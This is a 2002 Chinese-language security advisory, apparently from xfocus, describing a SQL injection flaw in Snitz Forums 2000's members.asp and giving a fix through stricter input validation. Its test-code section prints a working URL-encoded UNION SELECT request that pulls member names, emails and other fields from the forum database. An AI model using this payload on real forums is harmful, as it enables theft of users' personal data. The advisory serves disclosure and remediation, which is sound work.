xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

Snitz Forums 2000存在远程SQL查询可操作漏洞


发布时间:2002-04-20
更新时间:2002-04-20
严重程度:
威胁程度:用户敏感信息泄露
错误类型:输入验证错误
利用方式:服务器模式

受影响系统
Snitz Forums 2000
3.3
3.3.01
3.3.02
3.3.03 (last stable version)
详细描述
Snitz Forums 2000是开放源代码ASP论坛程序。

其中村子漏洞可以导致远程用户任意操作SQL查询,导致攻击者查看数据库数据。members.asp 会列出成员信息,input(M_NAME)没有检查恶意代码内容,可以导致攻击者使用额外的SELECT语句并结合UNION来查看用户数据信息。

测试代码
一般查看以A开头的用户名请求如下:

/members.asp?mode=search&M_NAME=A&initial=1&method=

使用如下来利用此漏洞:

/members.asp?mode=search&M_NAME=XXXX%
25')%20UNION%20SELECT%20MEMBER_ID,%
20M_STATUS,%20M_NAME%20%2B%20'/'%20%
2B%20M_EMAIL%20%2B%20'/',%20M_LEVEL,%
20M_EMAIL,%20M_COUNTRY,%
20M_HOMEPAGE,%20M_ICQ,%20M_YAHOO,%
20M_AIM,%20M_TITLE,%20M_POSTS,%
20M_LASTPOSTDATE,%20M_LASTHEREDATE,%
20M_DATE,%20M_STATE%20FROM%
20FORUM_MEMBERS%20WHERE%20(M_NAME%
20LIKE%20'&initial=1&method=

解决方案
在members.asp中使用:

if IsValidString(Request("M_NAME")) then
SearchName = Request("M_NAME")
end if

if SearchName = "" then
if IsValidString(Request.Form("M_NAME")) then
SearchName = Request.Form("M_NAME")
end if
end if

来代替:

SearchName = Request("M_NAME")
if SearchName = "" then
SearchName = Request.Form("M_NAME")
end if

并在inc_functions.asp中的IsValidString(sValidate)函数使用:

sInvalidChars = "!#$%^&*()=+{}[]|\;:/?>,<'"

来代替:

sInvalidChars = "!#$%^&*()=+{}[]|\;:/?>,<"

相关信息
acemi (acemi_5@yahoo.com)
参考:http://archives.neohapsis.com/archives/bugtraq/2002-04/0279.html
相关主页:http://forum.snitz.com/